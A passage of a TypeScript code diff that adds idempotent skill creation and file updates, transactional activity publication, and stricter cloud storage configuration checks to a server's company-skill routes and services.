string; await assertCanMutateCompanySkills(req, companyId, "skills.create", () => skillPolicyResource({ companyId, skillId })); - const result = await svc.createVersion(companyId, skillId, req.body, skillActor(req)); + const publication = contentPublication(req, companyId, skillId, "skills.create", (_skill, version) => ({ + action: "company.skill_version_created", entityType: "company_skill_version", entityId: version.id, + details: { skillId, revisionNumber: version.revisionNumber, label: version.label }, + })); + const result = await svc.createVersion(companyId, skillId, req.body, skillActor(req), { publication: publication.hooks }); const actor = getActorInfo(req); - await logActivity(db, { + if (!publication.publish()) await logActivity(db, { companyId, actorType: actor.actorType, actorId: actor.actorId, @@ -1005,9 +1046,13 @@ export function companySkillRoutes(db: Db) { "skills.create", () => skillPolicyResource({ companyId, skillId }), ); - const result = await svc.forkSkill(companyId, skillId, req.body, skillActor(req)); + const publication = contentPublication(req, companyId, skillId, "skills.create", skill => ({ + action: "company.skill_forked", details: { sourceSkillId: skillId, slug: skill.slug, name: skill.name, + reassignedAgentIds: req.body.reassignAgentIds ?? [] }, + })); + const result = await svc.forkSkill(companyId, skillId, req.body, skillActor(req), publication.hooks); const actor = getActorInfo(req); - await logActivity(db, { + if (!publication.publish()) await logActivity(db, { companyId, actorType: actor.actorType, actorId: actor.actorId, @@ -1040,11 +1085,17 @@ export function companySkillRoutes(db: Db) { "skills.edit", () => skillPolicyResource({ companyId, skillId }), ); - const result = await svc.renameSkill(companyId, skillId, req.body); + const before = (await svc.getById(companyId, skillId))!; + const publication = contentPublication(req, companyId, skillId, "skills.edit", skill => ({ + action: "company.skill_renamed", details: { previousName: before.name, previousSlug: before.slug, + previousKey: before.key, name: skill.name, slug: skill.slug, key: skill.key }, + })); + const result = await svc.renameSkill(companyId, skillId, req.body, publication.hooks); + const published = publication.publish(); const changed = result.previousName !== result.skill.name || result.previousSlug !== result.skill.slug || result.previousKey !== result.skill.key; - if (changed) { + if (changed && !published) { const actor = getActorInfo(req); await logActivity(db, { companyId, @@ -1204,38 +1255,70 @@ export function companySkillRoutes(db: Db) { details: { slug: skill.slug, name: skill.name, description: skill.description, sourceIssueId: runContext?.issue.id ?? null, versionId: skill.currentVersionId }, }); - if (!idempotencyKey) { - const skill = await svc.createLocalSkill(companyId, input, skillActor(req)); - await logActivity(db, event(skill)); - res.status(201).json(skill); - return; - } - // Scope to task and actor, not run: a replacement runner must recover the - // same result after a lost acknowledgement. The route still reauthorizes. - const receiptKey = `skill:${companyId}:${actor.actorId}:${runContext?.issue.id ?? "board"}:${idempotencyKey}`; + const receiptKey = idempotencyKey + ? `skill:${companyId}:${actor.actorId}:${runContext?.issue.id ?? "board"}:${idempotencyKey}` : null; const fingerprint = createHash("sha256").update(JSON.stringify(input)).digest("hex"); - const result = await db.transaction(async tx => { - await tx.execute(sql`select pg_advisory_xact_lock(hashtextextended(${receiptKey}, 0))`); - if (runContext) await projectToolContext(tx as unknown as Db, req.actor, true, "Skill"); - const [prior] = await tx.select().from(activityLog).where(and( + let publication: ActivityPublication | null = null; + const replay = async (database: Db) => { + if (!receiptKey) return null; + const [receipt] = await database.select().from(companySkillMutationReceipts).where(and( + eq(companySkillMutationReceipts.companyId, companyId), eq(companySkillMutationReceipts.key, receiptKey))); + if (receipt) { + if (receipt.fingerprint !== fingerprint) throw conflict("Skill idempotency key was used with different inputs"); + if (!await companySkillService(database).getById(companyId, receipt.skillId)) { + throw conflict("Previously created skill is no longer available"); + } + const { files } = await managedSkillContent(database).read(companyId, receipt.skillId, receipt.versionId); + return { ...receipt.response, markdown: files.find(file => file.path === "SKILL.md")!.content }; + } + const [prior] = await database.select().from(activityLog).where(and( eq(activityLog.companyId, companyId), eq(activityLog.action, "company.skill_created"), sql`${activityLog.details}->>'idempotencyKey' = ${receiptKey}`, )); - const service = companySkillService(tx as unknown as Db, { packageDb: db }); - if (prior) { - if (prior.details?.fingerprint !== fingerprint) throw conflict("Skill idempotency key was used with different inputs"); - const skill = await service.getById(companyId, prior.entityId); - if (!skill) throw conflict("Previously created skill is no longer available"); - return { skill, publication: null, duplicate: true }; - } - const skill = await service.createLocalSkill(companyId, input, skillActor(req)); - const activity = await persistActivity(tx as unknown as Db, { - ...event(skill), details: { ...event(skill).details, idempotencyKey: receiptKey, fingerprint }, - }); - return { skill, publication: activity.publication, duplicate: false }; - }); - if (result.publication) publishActivity(result.publication); - res.status(result.duplicate ? 200 : 201).json(result.skill); + if (!prior) return null; + if (prior.details?.fingerprint !== fingerprint) throw conflict("Skill idempotency key was used with different inputs"); + const service = companySkillService(database); + const skill = await service.getById(companyId, prior.entityId); + if (!skill) throw conflict("Previously created skill is no longer available"); + return skill; + }; + const prior = await replay(db); + if (prior) { res.status(200).json(prior); return; } + const replayed = new Error("Skill publication already committed"); + const hooks: SkillContentPublication = { + beforeLock: async tx => { + if (!receiptKey) return; + await tx.execute(sql`select pg_advisory_xact_lock(hashtextextended(${receiptKey}, 0))`); + const [receipt] = await tx.select({ key: companySkillMutationReceipts.key }).from(companySkillMutationReceipts) + .where(and(eq(companySkillMutationReceipts.companyId, companyId), eq(companySkillMutationReceipts.key, receiptKey))); + if (receipt) throw replayed; + }, + validate: async tx => { + await assertCanMutateCompanySkills(req, companyId, "skills.create", { sourceType: "generated" }, tx as unknown as Db); + if (runContext) await projectToolContext(tx as unknown as Db, req.actor, true, "Skill"); + }, + afterPublish: async (tx, row) => { + const skill = (await companySkillService(tx as unknown as Db).getById(companyId, row.id))!; + if (receiptKey) { + const { markdown: _markdown, folderPath: _folderPath, ...response } = skill; + await tx.insert(companySkillMutationReceipts).values({ companyId, key: receiptKey, fingerprint, + skillId: skill.id, versionId: skill.currentVersionId!, response }); + } + const activity = await persistActivity(tx as unknown as Db, { + ...event(skill), details: { ...event(skill).details, + ...(receiptKey ? { idempotencyKey: receiptKey, fingerprint } : {}) }, + }); + publication = activity.publication; + }, + }; + try { + const skill = await svc.createLocalSkill(companyId, input, skillActor(req), hooks); + if (publication) publishCommittedActivity(publication); + res.status(201).json(skill); + } catch (error) { + if (error !== replayed) throw error; + res.status(200).json(await replay(db)); + } }, ); @@ -1278,6 +1361,72 @@ export function companySkillRoutes(db: Db) { const skillId = req.params.skillId as string; await assertCanMutateCompanySkills(req, companyId, "skills.edit", () => skillPolicyResource({ companyId, skillId })); const { idempotencyKey, expectedVersionId, ...input } = req.body; + const installed = await svc.getById(companyId, skillId); + if (installed?.sourceType === "managed") { + const actor = getActorInfo(req); + const runContext = req.actor.type === "agent" && req.actor.source === "agent_jwt" && req.actor.runId + ? await projectToolContext(db, req.actor, true, "Skill") : null; + const receiptKey = idempotencyKey + ? `skill-file:${companyId}:${actor.actorId}:${runContext?.issue.id ?? "board"}:${skillId}:${idempotencyKey}` : null; + const fingerprint = createHash("sha256").update(JSON.stringify({ ...input, expectedVersionId })).digest("hex"); + const replay = async (database: Db) => { + if (!receiptKey) return null; + const [prior] = await database.select({ details: activityLog.details }).from(activityLog).where(and( + eq(activityLog.companyId, companyId), eq(activityLog.action, "company.skill_file_updated"), + sql`${activityLog.details}->>'idempotencyKey' = ${receiptKey}`, + )); + if (!prior) return null; + if (prior.details?.fingerprint !== fingerprint) throw conflict("Skill file idempotency key was used with different inputs"); + return prior.details?.receipt; + }; + const prior = await replay(db); + if (prior) { res.json(prior); return; } + let receipt: unknown; + let publication: ActivityPublication | null = null; + const replayed = new Error("Skill publication already committed"); + try { + const result = await svc.updateFile(companyId, skillId, input.path, input.content, skillActor(req), { + encoding: input.encoding, executable: input.executable, expectedVersionId, + publication: { + beforeLock: async tx => { + if (!receiptKey) return; + await tx.execute(sql`select pg_advisory_xact_lock(hashtextextended(${receiptKey}, 0))`); + receipt = await replay(tx as unknown as Db); + if (receipt) throw replayed; + }, + validate: async tx => { + await assertCanMutateCompanySkills(req, companyId, "skills.edit", () => skillPolicyResource({ companyId, skillId }, tx as unknown as Db), tx as unknown as Db); + if (runContext) await projectToolContext(tx as unknown as Db, req.actor, true, "Skill"); + }, + afterPublish: async (tx, _skill, version) => { + receipt = { skillId, path: input.path, versionId: version.id, studioPath: `/skills/studio/${encodeURIComponent(skillId)}` }; + const activity = await persistActivity(tx as unknown as Db, { + companyId, actorType: actor.actorType, actorId: actor.actorId, agentId: actor.agentId, + runId: actor.runId, agentApiKeyId: actor.agentApiKeyId, issueId: runContext?.issue.id, + action: "company.skill_file_updated", entityType: "company_skill", entityId: skillId, + details: { path: input.path, markdown: input.path === "SKILL.md", versionId: version.id, + sourceIssueId: runContext?.issue.id ?? null, + ...(receiptKey ? { idempotencyKey: receiptKey, fingerprint, receipt } : {}) }, + }); + publication = activity.publication; + }, + }, + }); + if (publication) publishCommittedActivity(publication); + res.json(idempotencyKey ? receipt : result); + } catch (error) { + if (error !== replayed) { + if (!receiptKey) throw error; + receipt = await db.transaction(async tx => { + await tx.execute(sql`select pg_advisory_xact_lock(hashtextextended(${receiptKey}, 0))`); + return replay(tx as unknown as Db); + }); + if (!receipt) throw error; + } + res.json(receipt); + } + return; + } if (idempotencyKey) { const actor = getActorInfo(req); const runContext = req.actor.type === "agent" && req.actor.source === "agent_jwt" && req.actor.runId @@ -1367,10 +1516,16 @@ export function companySkillRoutes(db: Db) { const companyId = req.params.companyId as string; const skillId = req.params.skillId as string; await assertCanMutateCompanySkills(req, companyId, "skills.edit", () => skillPolicyResource({ companyId, skillId })); - const result = await svc.deleteFile(companyId, skillId, req.body, skillActor(req)); + const before = (await svc.getById(companyId, skillId))!; + const publication = contentPublication(req, companyId, skillId, "skills.edit", (_skill, version) => ({ + action: "company.skill_file_deleted", details: { path: req.body.path, target: req.body.target, + deletedPaths: before.fileInventory.map(file => file.path).filter(file => req.body.target === "folder" + ? file.startsWith(`${req.body.path}/`) : file === req.body.path), versionId: version.id }, + })); + const result = await svc.deleteFile(companyId, skillId, req.body, skillActor(req), publication.hooks); const actor = getActorInfo(req); - await logActivity(db, { + if (!publication.publish()) await logActivity(db, { companyId, actorType: actor.actorType, actorId: actor.actorId, @@ -1445,10 +1600,25 @@ export function companySkillRoutes(db: Db) { sourceType: "catalog", sourceLocator: req.body.catalogSkillId, }); - const result = await svc.installFromCatalog(companyId, req.body); + let committed: ActivityPublication | null = null; + const result = await svc.installFromCatalog(companyId, req.body, action => ({ + validate: async tx => assertCanMutateCompanySkills(req, companyId, "skills.install", { + sourceType: "catalog", sourceLocator: req.body.catalogSkillId, + }, tx as unknown as Db), + afterPublish: async (tx, skill) => { + committed = (await persistActivity(tx as unknown as Db, { + companyId, ...getActorInfo(req), + action: action === "created" ? "company.skill_catalog_installed" : "company.skill_catalog_updated", + entityType: "company_skill", entityId: skill.id, + details: { action, catalogId: req.body.catalogSkillId, catalogKey: skill.key, + slug: skill.slug, originHash: skill.sourceRef }, + })).publication; + }, + })); const actor = getActorInfo(req); - await logActivity(db, { + if (committed) publishCommittedActivity(committed); + else await logActivity(db, { companyId, actorType: actor.actorType, actorId: actor.actorId, @@ -1523,14 +1693,25 @@ export function companySkillRoutes(db: Db) { const companyId = req.params.companyId as string; const skillId = req.params.skillId as string; await assertCanMutateCompanySkills(req, companyId, "skills.remove", () => skillPolicyResource({ companyId, skillId })); - const result = await svc.deleteSkill(companyId, skillId); + let committed: ActivityPublication | null = null; + const result = await svc.deleteSkill(companyId, skillId, async (tx, deleted) => { + for (const skill of deleted) committed = (await persistActivity(tx as unknown as Db, { + companyId, ...getActorInfo(req), action: "company.skill_deleted", entityType: "company_skill", + entityId: skill.id, details: { slug: skill.slug, name: skill.name }, + })).publication; + }, async tx => { + const database = tx as unknown as Db; + await assertCanMutateCompanySkills(req, companyId, "skills.remove", + () => skillPolicyResource({ companyId, skillId }, database), database); + }); if (!result) { res.status(404).json({ error: "Skill not found" }); return; } const actor = getActorInfo(req); - await logActivity(db, { + if (committed) publishCommittedActivity(committed); + else await logActivity(db, { companyId, actorType: actor.actorType, actorId: actor.actorId, @@ -1602,14 +1783,24 @@ export function companySkillRoutes(db: Db) { res.json(await svc.getById(companyId, skillId)); return; } - const result = await svc.installUpdate(companyId, skillId, req.body); + const publication = contentPublication(req, companyId, skillId, "skills.update", skill => ({ + action: "company.skill_update_installed", details: { + slug: skill.slug, previousOriginHash: before?.metadata?.originHash ?? before?.sourceRef ?? null, + previousOriginVersion: before?.metadata?.originVersion ?? null, + newOriginHash: skill.metadata?.originHash ?? skill.sourceRef, + newOriginVersion: skill.metadata?.originVersion ?? null, + driftDetected: Boolean(before?.metadata?.userModifiedAt), force: Boolean(req.body.force), + auditVerdict: skill.metadata?.auditVerdict ?? null, + }, + })); + const result = await svc.installUpdate(companyId, skillId, req.body, publication.hooks); if (!result) { res.status(404).json({ error: "Skill not found" }); return; } const actor = getActorInfo(req); - await logActivity(db, { + if (!publication.publish()) await logActivity(db, { companyId, actorType: actor.actorType, actorId: actor.actorId, @@ -1643,14 +1834,24 @@ export function companySkillRoutes(db: Db) { const skillId = req.params.skillId as string; await assertCanMutateCompanySkills(req, companyId, "skills.reset", () => skillPolicyResource({ companyId, skillId })); const before = await svc.getById(companyId, skillId); - const result = await svc.resetSkill(companyId, skillId, req.body); + const publication = contentPublication(req, companyId, skillId, "skills.reset", skill => ({ + action: "company.skill_reset", details: { + slug: skill.slug, previousOriginHash: before?.metadata?.originHash ?? before?.sourceRef ?? null, + previousOriginVersion: before?.metadata?.originVersion ?? null, + newOriginHash: skill.metadata?.originHash ?? skill.sourceRef, + newOriginVersion: skill.metadata?.originVersion ?? null, + driftDetected: Boolean(before?.metadata?.userModifiedAt), force: Boolean(req.body.force), + auditVerdict: skill.metadata?.auditVerdict ?? null, + }, + })); + const result = await svc.resetSkill(companyId, skillId, req.body, publication.hooks); if (!result) { res.status(404).json({ error: "Skill not found" }); return; } const actor = getActorInfo(req); - await logActivity(db, { + if (!publication.publish()) await logActivity(db, { companyId, actorType: actor.actorType, actorId: actor.actorId, diff --git a/server/src/secrets/local-encrypted-provider.ts b/server/src/secrets/local-encrypted-provider.ts index f0162fb56e8..bc4820a3d38 100644 --- a/server/src/secrets/local-encrypted-provider.ts +++ b/server/src/secrets/local-encrypted-provider.ts @@ -50,6 +50,11 @@ function decodeMasterKey(raw: string): Buffer | null { return null; } +/** Check the configured key without reading, creating, or changing key files. */ +export function isValidLocalEncryptedMasterKey(raw: string): boolean { + return decodeMasterKey(raw) !== null; +} + function loadOrCreateMasterKey(allowCreate = true, env: LocalEncryptedKeyEnv = process.env): Buffer { const envKeyRaw = env.PAPERCLIP_SECRETS_MASTER_KEY; if (envKeyRaw && envKeyRaw.trim().length > 0) { diff --git a/server/src/services/agent-harness-verification.ts b/server/src/services/agent-harness-verification.ts index c84194a6c78..ed585faf18d 100644 --- a/server/src/services/agent-harness-verification.ts +++ b/server/src/services/agent-harness-verification.ts @@ -23,7 +23,8 @@ export function assertHarnessTestPassed(result: AdapterEnvironmentTestResult) { const incomplete = !verified && (result.status === "warn" || result.checks.some(check => check.code.includes("hello_probe"))); if (result.status === "fail" || authenticationFailed || incomplete) { const has = (suffix: string) => result.checks.some(check => check.code.endsWith(suffix)); - const code = authenticationFailed ? "harness_auth_failed" + const code = result.checks.some(check => check.level === "error" && check.retryable === true) ? "test_environment_unavailable" + : authenticationFailed ? "harness_auth_failed" : has("_hello_probe_model_unavailable") || has("_model_invalid") ? "harness_model_unavailable" : has("_command_unresolvable") ? "harness_command_unavailable" : has("_cwd_invalid") ? "harness_cwd_invalid" diff --git a/server/src/services/cloud-runtime-config-snapshot.ts b/server/src/services/cloud-runtime-config-snapshot.ts index e97cd534b24..b63f7f0563d 100644 --- a/server/src/services/cloud-runtime-config-snapshot.ts +++ b/server/src/services/cloud-runtime-config-snapshot.ts @@ -25,7 +25,7 @@ export const cloudRuntimeConfigSchema = z.object({ backup: databaseBackupConfigSchema.strict(), storage: storageConfigSchema.extend({ localDisk: storageLocalDiskConfigSchema.strict(), - s3: storageS3ConfigSchema.extend({ endpoint: publicUrl.optional() }).strict(), + s3: storageS3ConfigSchema.extend({ bucket: z.string().trim().min(1), endpoint: publicUrl.optional() }).strict(), }).strict(), secrets: secretsConfigSchema.extend({ localEncrypted: secretsLocalEncryptedConfigSchema.strict(), diff --git a/server/src/services/cloud-runtime-config.ts b/server/src/services/cloud-runtime-config.ts index 61082ae07c7..6a396cc3849 100644 --- a/server/src/services/cloud-runtime-config.ts +++ b/server/src/services/cloud-runtime-config.ts @@ -5,6 +5,8 @@ import { eq } from "drizzle-orm"; import { instanceSettings, type Db } from "@paperclipai/db"; import { paperclipConfigSchema } from "@paperclipai/shared"; import { resolvePaperclipConfigPathForInstance } from "@paperclipai/shared/home-paths"; +import { validateManagedCloudStoragePrerequisites } from "../managed-cloud-prerequisites.js"; +import { loadStorageConfig } from "../storage/config.js"; import { isCloudManagedInstance, type CloudInstanceEnv } from "./cloud-instance.js"; import { parseStoredCloudRuntimeConfig, @@ -83,11 +85,18 @@ export async function readLegacyCloudRuntimeConfig(env: CloudInstanceEnv = proce if ((error as NodeJS.ErrnoException).code !== "ENOENT") throw new Error("Legacy Cloud runtime configuration could not be read safely"); return null; } + // Refuse an unconfigured legacy bucket before shared-schema defaults can + // turn its omission into an apparently explicit canonical database value. + const legacyStorage = (raw as { storage?: { provider?: unknown; s3?: { bucket?: unknown } } } | null)?.storage; + if (typeof legacyStorage?.s3?.bucket !== "string" || !legacyStorage.s3.bucket.trim()) { + throw new Error("Legacy Cloud runtime configuration requires an explicit nonblank storage.s3.bucket"); + } const parsed = paperclipConfigSchema.safeParse(raw); if (!parsed.success) throw new Error("Legacy Cloud runtime configuration is invalid"); if (parsed.data.llm?.provider === "openai" && parsed.data.llm.apiKey?.trim() && !env.OPENAI_API_KEY?.trim()) { throw new Error("Move the legacy OpenAI API key to OPENAI_API_KEY before initializing Cloud runtime configuration"); } + validateManagedCloudStoragePrerequisites(loadStorageConfig(parsed.data, env), env); return projectCloudRuntimeConfig(parsed.data); } diff --git a/server/src/services/company-skill-policy.ts b/server/src/services/company-skill-policy.ts index f4be82cc72d..1c61e02da5e 100644 --- a/server/src/services/company-skill-policy.ts +++ b/server/src/services/company-skill-policy.ts @@ -89,6 +89,7 @@ function decision( export function normalizeSkillPolicySourceType(sourceType: string | null | undefined): SkillPolicySourceType { switch (sourceType?.trim().toLowerCase()) { + case "managed": case "local_path": case "workspace": case "project_scan": diff --git a/server/src/services/company-skills.ts b/server/src/services/company-skills.ts index 7ba950039e9..8ba95a27e99 100644 --- a/server/src/services/company-skills.ts +++ b/server/src/services/company-skills.ts @@ -1,10 +1,12 @@ +import { skillExecutionContent } from "./skill-execution-content.js"; import { notifySkillVersionRetention } from "./skill-version-retention-notifications.js"; +import { managedSkillContent, type SkillContentPublication } from "./managed-skill-content.js"; import { DELIVERY_QUEUES, notifyDeliveryWork } from "./delivery-work-notifications.js"; import { verifyFileManifest } from "./file-manifest-cache.js"; -import { skillPackageStorageEnabled, skillPackageStore, skillVersionFileMap, skillVersionMetadataColumns, withSkillPackageReadScope, type StoredSkillVersion } from "./skill-package-store.js"; +import { skillPackageStorageEnabled, skillPackageStore, skillVersionFileMap, skillVersionUsesWholePackage, skillVersionMetadataColumns, withSkillPackageReadScope, type StoredSkillVersion } from "./skill-package-store.js"; import { skillPackageRuntime } from "./skill-package-runtime.js"; import type { SkillPackageFileMapping } from "@paperclipai/db"; -import { ensureSkillCacheDirectory, touchSkillVersionCache, withSkillVersionCacheLock } from "./skill-version-cache.js"; +import { ensureSkillCacheDirectory, protectedVersions, withSkillVersionCacheLock } from "./skill-version-cache.js"; import { measureRunPhase } from "./execution-preparation-timing.js"; import { verifyExistingBundledSkillRelease } from "./bundled-skill-release-validation.js"; import { retainProjectSkillAccess, skillAccessService } from "./skill-access.js"; @@ -17,9 +19,9 @@ import { createHash, randomUUID } from "node:crypto"; import { promises as fs } from "node:fs"; import path from "node:path"; import os from "node:os"; -import { skillFileBytes, snapshotFile, assertSkillSnapshotPath, skillSnapshotHash } from "./skill-snapshot.js"; +import { skillFileBytes, snapshotFile, assertSkillSnapshotPath, skillSnapshotHash, MAX_SKILL_SNAPSHOT_BYTES, MAX_SKILL_SNAPSHOT_FILES } from "./skill-snapshot.js"; import { fileURLToPath } from "node:url"; -import { and, asc, desc, eq, inArray, isNull, isNotNull, lt, ne, sql } from "drizzle-orm"; +import { and, asc, desc, eq, inArray, isNull, isNotNull, lt, ne, or, sql } from "drizzle-orm"; import type { Db } from "@paperclipai/db"; import { agents as agentsTable, @@ -45,7 +47,6 @@ import { import { readPaperclipSkillSyncPreference, writePaperclipSkillSyncPreference, resolvePaperclipDesiredSkillNames, resolveLegacyPaperclipDesiredSkillNames } from "@paperclipai/adapter-utils/server-utils"; import { REPOSITORY_CONTENT_DIR, repositorySkillProjection } from "./skill-repository-package.js"; -import { runVersionSnapshotFlight } from "./skill-version-retention.js"; import type { PaperclipDesiredSkillEntry, PaperclipSkillEntry } from "@paperclipai/adapter-utils/server-utils"; import type { AgentDesiredSkillEntry, @@ -359,6 +360,7 @@ type SkillSourceMeta = { packageName?: string; packageVersion?: string; originVersion?: string; + originVersionId?: string; originSnapshotLocator?: string; installedHash?: string; forkedByAgentId?: string | null; @@ -389,7 +391,17 @@ export type ProjectSkillScanTarget = { workspaceCwd: string; }; +export type RuntimeSkillVersionSelection = { + companyId: string; + skillId: string; + key: string; + runtimeName: string; + versionId: string | null; + currentVersionId: string | null; +}; + type RuntimeSkillEntryOptions = { + selectVersions?: (entries: RuntimeSkillVersionSelection[]) => Promise>; materializeMissing?: boolean; versionSelections?: Map; selectionConfig?: Record; @@ -413,6 +425,7 @@ type BundledSkillReleaseManifestEntry = { }; type CreateVersionOptions = { + publication?: SkillContentPublication; repositorySnapshotId?: string; repositorySkillPath?: string; packageSnapshotId?: string; @@ -1087,12 +1100,12 @@ function deriveImportedSkillSource( } return { - sourceType: "catalog", + sourceType: "managed", sourceLocator: null, sourceRef: null, metadata: { ...(canonicalKey ? { skillKey: canonicalKey } : {}), - sourceKind: "catalog", + sourceKind: "managed", }, }; } @@ -1113,9 +1126,9 @@ function readInlineSkillImports(companyId: string, files: Record const slug = deriveImportedSkillSlug(parsed.frontmatter, slugFallback); const source = deriveImportedSkillSource(parsed.frontmatter, slug); const inventory = Object.keys(normalizedFiles) - .filter((entry) => entry === skillPath || (skillDir ? entry.startsWith(`${skillDir}/`) : false)) + .filter((entry) => entry === skillPath || (skillDir ? entry.startsWith(`${skillDir}/`) : true)) .map((entry) => { - const relative = entry === skillPath ? "SKILL.md" : entry.slice(skillDir.length + 1); + const relative = entry === skillPath ? "SKILL.md" : skillDir ? entry.slice(skillDir.length + 1) : entry; return { path: normalizePortablePath(relative), kind: classifyInventoryKind(relative), @@ -2721,6 +2734,9 @@ function deriveSkillSourceInfo(skill: SkillSourceInfoTarget): { sourcePath: string | null; } { const metadata = getSkillMeta(skill); + if (skill.sourceType === "managed") return { + editable: true, editableReason: null, sourceLabel: "Paperclip", sourceBadge: "paperclip", sourcePath: null, + }; const localSkillDir = normalizeSkillDirectory(skill); if (metadata.sourceKind === "paperclip_bundled") { return { @@ -2978,6 +2994,8 @@ async function listLastEditorsBySkillId( export function companySkillService(db: Db, options: { actor?: AuthorizationActor; packageDb?: Db } = {}) { const packageDb = options.packageDb ?? db; + const managedContent = managedSkillContent(db, packageDb); + const executionContent = skillExecutionContent(db, options); const packages = skillPackageStore(packageDb); const packageRuntime = skillPackageRuntime(packageDb); // Admin reads keep SQL on the caller's transaction, which may own the pool's only slot. @@ -3177,7 +3195,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo ); } - async function reconcileLocalPathSkillSources(companyId: string) { + async function reconcileLocalPathSkillSources(companyId: string, skillId?: string) { const rows = await db .select({ id: companySkills.id, @@ -3190,7 +3208,8 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo metadata: companySkills.metadata, }) .from(companySkills) - .where(and(eq(companySkills.companyId, companyId), eq(companySkills.sourceType, "local_path"))); + .where(and(eq(companySkills.companyId, companyId), eq(companySkills.sourceType, "local_path"), + skillId ? eq(companySkills.id, skillId) : undefined)); const skills = rows.map((row) => ({ ...row, sourceType: row.sourceType as CompanySkillSourceType, @@ -3202,6 +3221,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo for (const skill of skills) { if (skill.sourceType !== "local_path") continue; + if (asString(skill.metadata?.sourceKind) === "managed_local") continue; if (isPaperclipBundledSkillKey(skill.key) || asString(skill.metadata?.sourceKind) === "paperclip_bundled") continue; if (!missingIds.has(skill.id)) { @@ -3427,15 +3447,15 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo .sort((left, right) => right.count - left.count || left.slug.localeCompare(right.slug)); } - async function listReferenceTargets(companyId: string): Promise { - const rows = await db + async function listReferenceTargets(companyId: string, database: DbOrTransaction = db): Promise { + const rows = await database .select({ id: companySkills.id, key: companySkills.key, slug: companySkills.slug, }) .from(companySkills) - .where(and(eq(companySkills.companyId, companyId), await visibility().condition(companyId))); + .where(and(eq(companySkills.companyId, companyId), await visibility(database).condition(companyId))); return rows as CompanySkillReferenceRow[]; } @@ -3445,7 +3465,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo .from(companySkills) .where(and(eq(companySkills.companyId, companyId), eq(companySkills.id, id), await visibility(database).condition(companyId))) .then((rows) => rows[0] ?? null); - return row ? enrichFolderPath(companyId, toCompanySkill(row)) : null; + return row ? enrichFolderPath(companyId, toCompanySkill(row), database) : null; } async function getByKey( @@ -3472,9 +3492,9 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo return rows.length === 1 ? enrichFolderPath(companyId, toCompanySkill(rows[0]!)) : null; } - async function enrichFolderPath(companyId: string, skill: CompanySkill): Promise { + async function enrichFolderPath(companyId: string, skill: CompanySkill, database: DbOrTransaction = db): Promise { if (!skill.folderId) return { ...skill, folderPath: null }; - const folder = await folderSvc.getFolder(companyId, skill.folderId); + const folder = await folderService(database as Db).getFolder(companyId, skill.folderId); return { ...skill, folderPath: folder?.kind === "skill" ? folder.path : null }; } @@ -3533,17 +3553,14 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo skill: CompanySkill, metadataPatch: Record, ): Promise { - const metadata = { - ...(isPlainRecord(skill.metadata) ? skill.metadata : {}), - ...metadataPatch, - }; const row = await db .update(companySkills) - .set({ metadata, updatedAt: new Date() }) - .where(eq(companySkills.id, skill.id)) + .set({ metadata: sql`coalesce(${companySkills.metadata}, '{}'::jsonb) || ${JSON.stringify(metadataPatch)}::jsonb`, updatedAt: new Date() }) + .where(and(eq(companySkills.id, skill.id), eq(companySkills.companyId, skill.companyId), + skill.currentVersionId ? eq(companySkills.currentVersionId, skill.currentVersionId) : isNull(companySkills.currentVersionId))) .returning() .then((rows) => rows[0] ?? null); - if (!row) throw notFound("Skill not found"); + if (!row) throw conflict("Skill changed while its metadata was being prepared. Retry the operation."); return toCompanySkill(row); } @@ -3565,38 +3582,41 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo }); } - async function auditSkill(companyId: string, skillId: string): Promise { - await ensureSkillInventoryCurrent(companyId); - const skill = await getById(companyId, skillId); - if (!skill) return null; - if (skill.metadata?.skillSourceId && skill.metadata?.snapshotHash && skill.currentVersionId) { + async function auditSkillContents(skill: CompanySkill): Promise { + const companyId = skill.companyId; + if (skill.currentVersionId && (skill.sourceType !== "local_path" || skill.metadata?.skillSourceId || skill.metadata?.sourceKind === "paperclip_bundled")) { const versionId = skill.currentVersionId; return withSkillVersionCacheLock(db, companyId, async () => { const version = await readVersionMetadata(companyId, skill.id, versionId); if (!version) throw unprocessable("Installed skill version is unavailable."); const sourceLocator = await materializeVersionSnapshot(companyId, skill, version); - const audit = await auditInstalledSkillBytes({ + return auditInstalledSkillBytes({ ...skill, sourceType: "local_path", sourceLocator, fileInventory: version.repositorySnapshotId || version.packageSnapshotId ? await packageRuntime.inventory(version) : await packages.versionFiles(version), }); - await persistAuditMetadata(skill, audit); - return audit; }); } if (skill.sourceType !== "catalog" && skill.sourceType !== "local_path") { throw unprocessable("Only local-path and catalog-managed company skills support audit."); } - const audit = await auditInstalledSkillBytes(skill); + return auditInstalledSkillBytes(skill); + } + + async function auditSkill(companyId: string, skillId: string): Promise { + await ensureSkillInventoryCurrent(companyId); + const skill = await getById(companyId, skillId); + if (!skill) return null; + const audit = await auditSkillContents(skill); await persistAuditMetadata(skill, audit); return audit; } - async function usage(companyId: string, key: string): Promise { - const skills = await listReferenceTargets(companyId); - const agentRows = await agents.list(companyId); + async function usage(companyId: string, key: string, database: DbOrTransaction = db): Promise { + const skills = await listReferenceTargets(companyId, database); + const agentRows = await agentService(database as Db).list(companyId); const desiredAgents = agentRows.flatMap((agent) => { const desiredEntries = resolveDesiredSkillEntries(skills, agent.adapterConfig as Record); const desiredEntry = desiredEntries.find((entry) => entry.key === key); @@ -3642,9 +3662,17 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo } async function detail(companyId: string, id: string, actor?: SkillActor | null): Promise { - await ensureSkillInventoryCurrent(companyId); - const skill = await getByRouteRef(companyId, id); + let skill = await getByRouteRef(companyId, id); + if (!skill) { + await ensureSkillInventoryCurrent(companyId); + skill = await getByRouteRef(companyId, id); + } if (!skill) return null; + if (skill.sourceType === "local_path") { + await reconcileLocalPathSkillSources(companyId, skill.id); + skill = await getById(companyId, skill.id); + if (!skill) return null; + } const usedByAgents = await usage(companyId, skill.key); const existingForks = await existingForkSummaries(companyId, skill.id, actor); const currentVersion = await getCurrentVersion(skill); @@ -3682,9 +3710,17 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo companyId: string, skill: CompanySkill, ): Promise { + if (skill.currentVersionId && (skill.sourceType !== "local_path" || skill.metadata?.skillSourceId || skill.metadata?.sourceKind === "paperclip_bundled")) { + const version = await getCurrentVersion(skill); + if 